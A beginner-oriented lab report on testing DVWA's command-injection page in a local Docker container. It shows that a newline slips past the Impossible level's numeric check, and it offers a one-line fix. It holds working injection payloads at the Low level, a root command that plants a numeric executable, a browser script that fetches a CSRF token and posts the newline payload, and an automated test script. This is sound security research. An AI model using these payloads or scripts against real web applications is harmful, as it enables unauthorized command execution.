

CONTROLLED SECURITY LAB

DVWA Impossible Mode

A reproducible command-injection boundary assessment

EXECUTIVE RESULT

Impossible held.

A genuine newline parsing flaw was measured, but exploitation required a pre-positioned numeric executable created with administrator access.

LAB REPORT / 17 SEPTEMBER 2026
DVWA v1.10 · Docker · Impossible security level

Assessment overview

The full experiment, redesigned as an evidence-led lab report. The central distinction is preserved throughout: the parsing weakness is real; a practical compromise was not demonstrated.

OUTCOME

Impossible held

FINDING

Newline reaches shell

CONSTRAINT

Numeric executable

FINDING IN ONE SENTENCE

A line break survives numeric validation and reaches the shell.

It becomes useful only when a command with a numeric name already exists in the web process PATH. The report created that condition deliberately with administrator access, then proved causality by removing it again.

Evidence chain

01	Encoded line break	1.2.3.%0a4
02	Numeric check passes	Leading whitespace is accepted
03	Shell starts command 4	Only useful if that name exists

Contents

Part One — Manual investigation	4
Step 1 — use the easy setting to look around	4
Step 2 — look inside one of those folders	5
Step 3 — building the bridge	5
Step 4 — check the website can actually see it	7
Step 5 — switch to Impossible and try the real thing	7
What Part One proved	9
PART TWO — turning it into a script	10
Why we bothered	10
Making it drive the security settings itself	10
Making it confirm DVWA is really running	11
Every option the script has	11
The part that turns a demo into proof	13
Final Summary	15
What we actually proved	15
What we did not prove	15
Why this still matters in the real world	15
How to check all of this yourself	16

This is the complete story of the experiment, written for someone who is just starting out in security. No prior knowledge is assumed. Every command and every result shown here is real, copied from [evidence/raw-run-2026-09-17.md](#).

The result, said plainly before anything else: we did **not** break the hardest setting. It held. We found a genuine crack in it, measured exactly how big that crack is, and showed what else would have to go wrong before anyone could use it. That is a smaller claim than "we broke it", and it is the true one.

The report has two parts:

- **Part One** — what we did by hand, one command at a time
- **Part Two** — how we turned all of it into a single script that does the whole thing by itself

PART ONE

Manual investigation

Step 1 — use the easy setting to look around

Before attacking the hard setting, we needed to know what was on the machine. The Low setting gave us a way to ask.

Security level: Low. Typed into the ping box:

TERMINAL / OUTPUT

```
127.0.0.1; echo $PATH
```

Result:

TERMINAL / OUTPUT

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.171 ms
...
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

The ping ran, and then our command ran too. That last line is the answer we wanted.

What is \$PATH? When you type a program's name, the computer has to find it. `$PATH` is the list of folders it looks in, in order. If a program is not in one of those folders, you have to give its full location instead.

Six folders. Remember that — it matters a lot later.

Why ask the website instead of just looking at the machine ourselves? Because we needed to know what the website can see, not what we can see. They are not always the same. Asking through the vulnerable page gives the honest answer.

Step 2 — look inside one of those folders

Security level: still Low. Typed into the ping box:

TERMINAL / OUTPUT

```
127.0.0.1; ls -la /usr/local/bin/
```

Result:

TERMINAL / OUTPUT

```
total 12
drwxrwsr-x 1 root staff 4096 Sep 15 20:38 .
drwxrwsr-x 1 root staff 4096 Oct  9 2017 ..
```

`ls -la` lists what is in a folder. The two entries shown — `.` and `..` — are just "this folder" and "the folder above it". Every folder has them.

So the folder is completely empty. Nothing is in it.

That is good news for two reasons. It means the name we want to use is free, and it means we are not going to overwrite something that was already there.

Step 3 — building the bridge

First, why a bridge is needed at all

Here we have to jump ahead and explain the problem we were trying to solve, otherwise this step looks like cheating for no reason.

On the **Impossible** setting, the checking is very strict. We eventually found a way to smuggle a "start a new command" instruction past it — that is Part One, Step 5. But there was a catch:

"Whatever command we started, its name had to be a number. And we could not use a `/`, so we could not write out a full location either."

So we could say "run something now" — but the only things we were allowed to name were things like `4`, or `1e5`, or `-5`.

No program on any normal computer is called `4`.

It is like having a working telephone line to someone who only answers to a name that nobody in the world is called. The line works. It just can never be used.

So we asked a different question: what would this be worth if a program called `4` did exist?

The bridge

A "bridge" is what we called a small program named `4`, placed in one of those six folders, so that the name we are allowed to say actually points at something.

This is the part where we cheated, and it needs saying clearly. To create that file we needed **administrator rights** on the machine. We had them, because it is our own practice machine. A real attacker breaking into a real website does not have them. Nothing in the attack creates this file. We gave ourselves the missing piece because we own the target.

We did it anyway because the interesting question is not "can we break in" — we already knew the answer was no. It is "how close is this to being dangerous, and what exactly is missing?"

The commands

Run in the terminal, as administrator:

BASH

```
sudo docker exec -u 0 lab-dvwa sh -c 'printf "#!/bin/sh\nid\nhostname\n" > /usr/local/bin/4;
chmod 755 /usr/local/bin/4'
```

In plain words: create a file called `4` in that folder, put three lines in it, and make it runnable.

- `sudo` — do this as administrator
- `docker exec lab-dvwa` — do it inside the practice machine
- `-u 0` — as the top-level administrator account
- `printf ... > /usr/local/bin/4` — write the file
- `chmod 755` — allow anyone to run it

Checking it was created:

BASH

```
sudo docker exec lab-dvwa ls -l /usr/local/bin/4
```

TERMINAL / OUTPUT

```
-rwxr-xr-x 1 root staff 22 Sep 17 06:08 /usr/local/bin/4
```

Two things in that line matter later:

- `root staff` — the file belongs to the administrator. This is the proof that administrator rights were needed. We are not hiding it; we are recording it.
- `-rwxr-xr-x` — everyone is allowed to run it. Important, because the website runs as a much weaker account, and if it could not run the file, nothing would work.

Looking at what is inside:

BASH

```
sudo docker exec lab-dvwa cat /usr/local/bin/4
```

TERMINAL / OUTPUT

```
#!/bin/sh
id
hostname
```

That is the whole program. It says who it is and what machine it is on. Nothing else. It does not delete anything, change anything, or connect anywhere. In security work this is called a **canary** — the smallest harmless thing that proves your command ran.

Step 4 — check the website can actually see it

Creating a file is not the same as the website being able to find it.

Security level: Low. Typed into the ping box:

TERMINAL / OUTPUT

```
127.0.0.1; which 4
```

Result:

TERMINAL / OUTPUT

```
/usr/local/bin/4
```

`which` means "if I said this name, what would actually run?" The answer came back, which tells us the website can find our file.

Again, we asked through the website rather than from our own terminal, because the website's answer is the only one that matters.

Step 5 — switch to Impossible and try the real thing

Now we set the difficulty to **Impossible** and attacked the hard setting.

Why Impossible is built differently

The first three settings work by keeping a list of banned characters. That is why they all fell — every list forgets something.

Impossible does something smarter:

- 1 Split what you typed at every dot. An IP address has four parts.
- 2 Check that all four parts are numbers.
- 3 Check there are exactly four of them.
- 4 **Throw away what you typed** and build a fresh address out of the four checked parts.

Step 4 is the clever bit. Your original text never reaches the command. Only the pieces that passed inspection get glued back together. You cannot smuggle a semicolon through that, because a semicolon is not a number.

The crack

The weakness is in step 2 — the "is this a number?" check.

The website uses a built-in function called `is_numeric` to decide. And that function is more generous than people expect. It does not only accept `4`. It also accepts `4` with blank space in front of it — a space, a tab, or a line break.

A line break. What you get when you press Enter.

And on a command line, pressing Enter means the same thing as a semicolon: that command is over, here comes the next one.

So we sent this as the address:

TERMINAL / OUTPUT

```
1.2.3.<line break>4
```

The website split it at the dots and got four pieces: **1**, **2**, **3**, and **<line break>4**. It checked all four. All four counted as numbers, because blank space in front is allowed. Four pieces, all numeric — **it passed** — and then it rebuilt the address with the line break still inside, because rebuilding just glues the approved pieces together.

The server ended up running:

TERMINAL / OUTPUT

```
ping -c 4 1.2.3.  
4
```

Two commands. The ping failed and disappeared. The second one was **4** — our bridge.

Why we needed the browser's developer tools

We could not just type the payload into the box on the page.

A text box on a web page **cannot hold a line break**. Press Enter in it and nothing happens. And you cannot type the code for a line break either — write **%0a** in the box and the browser politely escapes it, so the website receives the literal text **%0a** instead of an actual line break.

The line break has to be in the request the browser sends, not in the box you type into. So we opened the browser's developer tools (press F12) and sent the request ourselves:

JS

```
(async () => {  
  const pg = await (await fetch(location.pathname, {credentials:'same-origin'})).text();  
  const tok = pg.match(/user_token\s*value='([a-f0-9]+)'/)[1];  
  const res = await fetch(location.pathname, {  
    method: 'POST',  
    headers: {'Content-Type':'application/x-www-form-urlencoded'},  
    body: 'ip=1.2.3.%0a4&Submit=Submit&user_token=' + tok,  
    credentials: 'same-origin'  
  });  
  const html = await res.text();  
  const pre = html.match(/<pre>([\s\S]*?)<\pre>/);  
  console.log('CSRF rejected:', /CSRF token is incorrect/.test(html));  
  console.log('OUTPUT:\n' + (pre ? pre[1] : '(no <pre> block)'));  
})();
```

In plain words, that code:

- 1 Loads the page and grabs its **one-use ticket**. The Impossible setting gives every page a single-use code, and the request is thrown away without one. Use an old one and it fails — which looks exactly like the attack being blocked, even though it never got that far. So a fresh one is fetched every time.
- 2 Sends the address **1.2.3.%0a4**, where **%0a** is the way you write a line break inside a web request.
- 3 Prints whether the ticket was rejected, and prints whatever the page sent back.

Result:**TERMINAL / OUTPUT**

```
CSRF rejected: false
OUTPUT:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
d022d145f332
```

Reading that result carefully

`CSRF rejected: false` — the ticket was fine. The request really did reach the checking code. It was not quietly thrown away.

`uid=33(www-data)` — this is the important line, and here is why.

We created the bridge file as the **administrator**. If the administrator's session were what ran it, this would say `uid=0(root)`. It does not. It says `www-data`, which is the weak account the website itself runs as.

So our command really did travel through the website's ping feature. It was not our terminal running it. That one number is the difference between proving something and assuming it.

`d022d145f332` is the machine's name, confirming where it ran.

What Part One proved

We got a command to run on the server through the Impossible setting.

But notice what that actually required:

- administrator access, to create the bridge
- a logged-in account on the website
- a fresh one-use ticket

And notice what it got us: **the weak `www-data` account**. We spent administrator access to obtain something much less powerful. That is going down, not up. No real attacker would ever make that trade.

So Part One ends with a working demonstration and an honest conclusion: **Impossible was not beaten. We changed the machine until something it already allowed became useful.**

PART TWO

Automation and reproducibility

Why we bothered

Part One had three problems, and none of them are about whether it worked.

It could not be checked by anyone else. "Trust me, I typed some things and got this" is not evidence. Someone reading it has no way to confirm anything.

It was not proven. We showed the attack working with the bridge. We never showed the same request failing without it. Without that comparison, we cannot actually say the bridge was the reason. Maybe something else we changed caused it.

It was slow and easy to get wrong. Clicking the difficulty dropdown, copying tickets, typing commands into a box — every one of those is a chance to make a mistake and not notice.

So we wrote `dvwa-poc.sh`, a script that does the entire thing by itself. Because DVWA is running in Docker, the script can reach both sides — the website and the container it lives in — which is what makes the whole thing automatic.

Making it drive the security settings itself

This was the key thing to solve. Part One needed a human to keep clicking the difficulty dropdown: Low to look around, Impossible to attack.

It turns out DVWA remembers your chosen difficulty in a **cookie** — a small note the browser hands back with every request. And anything that can send a request can send that note. No browser needed.

So the script sets the level itself. It does it properly, too — it submits the same form the dropdown submits, so the change is real:

BASH

```
curl ... -d "security=$want&seclev_submit=Submit&user_token=$t" "$URL/security.php"
```

Then it does something more important: **it reads the level back off the page and refuses to continue if it is wrong.**

TERMINAL / OUTPUT

```
[ OK ] security level set and confirmed: low  
[ OK ] security level set and confirmed: impossible
```

Why go to that trouble? Because proving an attack at the wrong difficulty proves nothing at all. If the dropdown had quietly stayed on Low, everything would still have "worked" and the whole experiment would have been worthless. A human can forget to check. The script cannot continue without checking.

Making it confirm DVWA is really running

Before sending anything, the script checks the target is really there. This sounds obvious, but the first version got it wrong in a way worth explaining.

It used to just check "did the connection succeed". The problem is that a connection **succeeds** even when the server replies "page not found" or "internal error". Any web server on that port would have passed.

So now it checks properly:

TERMINAL / OUTPUT

```
== preflight: application ==
[ OK ] curl present
[ OK ] grep supports -P (PCRE)
[ OK ] HTTP 200 from http://localhost:8081/login.php
[ OK ] target identifies as DVWA
[ OK ] login form exposes a user_token

== preflight: container ==
[ OK ] docker present
[ OK ] container 'lab-dvwa' is running
```

Check	What it catches
curl present	a missing tool
grep supports -P	a tool that cannot read the one-use tickets — everything would silently fail
HTTP 200	wrong port, dead website, or an error page
identifies as DVWA	something else answering on that port
login form has a ticket	a different version of DVWA than expected
container is running	the practice machine is switched off

We tested this by deliberately shutting DVWA down and running the script. It stopped immediately and told us to start the container. Which is the point — a check you have never seen fail is a check you do not know works.

Every option the script has

--check

BASH

```
./dvwa-poc.sh --check
```

Runs only the checks above and stops. Changes nothing at all. Use it to answer "is my lab ready?" before anything else.

--recon

BASH

```
./dvwa-poc.sh --recon
```

Does all the looking-around from Part One, automatically. It switches to Low and asks the four questions:

TERMINAL / OUTPUT

```
$PATH as shell_exec() sees it:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
contents of /usr/local/bin:
total 12
drwxrwsr-x 1 root staff 4096 .
drwxrwsr-x 1 root staff 4096 ..
does the web user resolve '4'?
(no output)
web user identity:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The same four answers we got by hand in Part One — now in a log anyone can read. Note the third one: **no output**, because the bridge does not exist yet. That blank is deliberate and important later.

--status

BASH

```
./dvwa-poc.sh --status
```

Prints the facts about the machine, so the result is repeatable rather than just claimed:

TERMINAL / OUTPUT

```
== environment ==
image      : vulnerables/web-dvwa
hostname   : d022d145f332
php        : PHP 7.0.30-0+deb9u1
dvwa       : v1.10 *Development*
shell_exec PATH : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
== bridge ==
ABSENT -- /usr/local/bin/4 does not exist
```

Anyone reproducing this can confirm they are testing the same thing we did. It also says whether the bridge is currently there, so you always know which state you are starting from.

No option — the test table

BASH

```
./dvwa-poc.sh
```

Switches to Impossible and fires eleven different addresses, reporting what happened to each. This is the heart of the experiment, explained below.

--plant and --remove

BASH

```
./dvwa-poc.sh --plant  
./dvwa-poc.sh --remove
```

Create or delete the bridge. These need administrator rights, for exactly the reason explained in Part One. `--plant` does **not** clean up after itself on purpose, so you can look around; `--remove` is how you put things back.

--full

BASH

```
./dvwa-poc.sh --full
```

The whole experiment, start to finish, unattended. It checks the lab, records the machine details, does the recon at Low, removes any leftover bridge, runs the test table at Impossible, plants the bridge, checks the website can see it, runs the same table again, removes the bridge, and runs the table a third time.

Then it tidies up after itself.

The part that turns a demo into proof

Here is what Part One could not do.

The script runs the **exact same eleven addresses three times**:

- 1 **Before** the bridge exists
- 2 **With** the bridge there
- 3 **After** deleting it again

Same addresses. Same difficulty. Same everything. The only difference between the three rounds is whether one file exists.

TERMINAL / OUTPUT

	BEFORE	WITH BRIDGE	AFTER
normal address	ping output	ping output	ping output
space	nothing	nothing	nothing
tab	nothing	nothing	nothing
vertical tab	nothing	nothing	nothing
form feed	nothing	nothing	nothing
carriage return	nothing	nothing	nothing
LINE BREAK	nothing	IT RAN <--	nothing
name "1e5"	nothing	nothing	nothing
name "-5"	nothing	nothing	nothing
line break + "id"	rejected	rejected	rejected
line break + "4 -x"	rejected	rejected	rejected

Thirty-three tests. One box is different from all the others.

And in the middle round, that one box gave us:

TERMINAL / OUTPUT

```
LF      %0a  <--  PASSED -- COMMAND EXECUTED
          uid=33(www-data) gid=33(www-data) groups=33(www-data)
          d022d145f332
```

What that table answers

Was it really the line break, or does any blank space work? The line break. Six kinds of blank space get past the checking — but five of them do nothing at all, even with the bridge sitting right there. Only the line break starts a new command. The others are just gaps between words.

Did adding the bridge make the website less secure? No. Look at the bottom two rows: **line break + id** is rejected in all three rounds. The checking never weakened. We changed what was on the machine, not how the machine checks things.

Are we sure the bridge is what did it? Yes. Delete it and the identical request goes back to doing nothing. That is the last column. Without it, "it worked" could have been caused by anything.

One more thing the script caught

There is a detail about how the results are read that is easy to get backwards.

When a request comes back **empty**, that does not mean it was blocked. DVWA prints an actual error message — "you have entered an invalid IP" — when it blocks something. So:

- error message → **blocked**, the command never ran
- **empty** → **allowed**, the command ran and produced nothing
- text → allowed, and the command printed something

An empty result is proof that something ran. Read it the other way round and you would draw the exact opposite conclusion from the same output.

FINAL ASSESSMENT

FINAL SUMMARY

What we actually proved

The Impossible setting held. It was never beaten. The address `line break + id` was rejected every single time, in every round, in both parts of this report.

But it does leak. The "is this a number?" check accepts blank space in front, and a line break counts as blank space — and a line break is how you end one command and start another. So a line break really does reach the command line. That is a genuine flaw.

And the leak cannot be used on its own. Whatever you start has to have a number for a name, has to already exist on the machine, and cannot take any options. Nothing matches that. The flaw is real but asleep.

What it would take to wake it up: any other bug that lets someone save a file into one of those six folders. That is the whole gap. We simulated that second bug by creating the file ourselves as administrator — and we have said so in every document here, because leaving it out would make this sound like something it is not.

What we did not prove

We did not break in. We did not bypass the checking. We did not find something an attacker could use against a real website.

We had administrator access on our own machine and we used it, and what we got back was the weak website account — **less** power than we started with. That is a downgrade, and no attacker does it on purpose.

Why this still matters in the real world

Because the bridge is not always imaginary.

While looking around, we noticed something in that folder listing:

TERMINAL / OUTPUT

```
drwxrwsr-x 1 root staff 4096 .
```

That says the folder can be written to by a whole group of users, not just the administrator. If the website's account had been in that group, it could have created the bridge **itself** — and then this would have been a real attack, start to finish, with no cheating.

It was not in that group. We could prove it from the output we already had:

TERMINAL / OUTPUT

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

That last part lists every group the account belongs to, and there is only one. So the door was shut. But it was one setting away from being open, and that is not a comfortable margin.

This is also how real attacks are actually built. People imagine one clever trick that breaks everything. Much more often it is two boring problems that are harmless on their own and serious together. A leak that can start a command, plus a folder with loose permissions. Neither one is worth reporting alone. Together they are how someone gets in.

And the lesson about the flaw itself is worth more than the flaw. `is_numeric` was never broken. It was answering a slightly different question than the developer believed it was — "is this a valid number?" instead of "is this a valid part of an IP address?" That small gap between what a function does and what someone assumes it does is where an enormous number of real bugs live.

The fix is one line, and it works because it fixes the cause, not the symptom:

PHP

```
filter_var( $ip, FILTER_VALIDATE_IP )
```

That rejects blank space, plus and minus signs, exponents — all six of the leaked characters, not just the one we found a use for. Patching only the line break would have left the other five in place, waiting for someone cleverer.

How to check all of this yourself

BASH

```
docker run -d --name lab-dvwa -p 8081:80 vulnerables/web-dvwa
# create the database once, in the browser — the only browser step there is
./dvwa-poc.sh --check      # is the lab ready?
./dvwa-poc.sh --full       # the entire experiment
```

Everything in this report is in [evidence/raw-run-2026-09-17.md](#), unedited — including the mistakes we made along the way and had to correct.

Nothing here should be run against a machine that is not yours.

SCOPE REMINDER

Authorized lab use only.

The source report states that nothing here should be run against a machine you do not own or have explicit permission to test.

END OF REPORT

Flaw measured. Boundary preserved.

33 comparative tests · one changed result · no standalone compromise

The Impossible setting accepted a dangerous line break, but useful execution still depended on an administrator-created lab condition.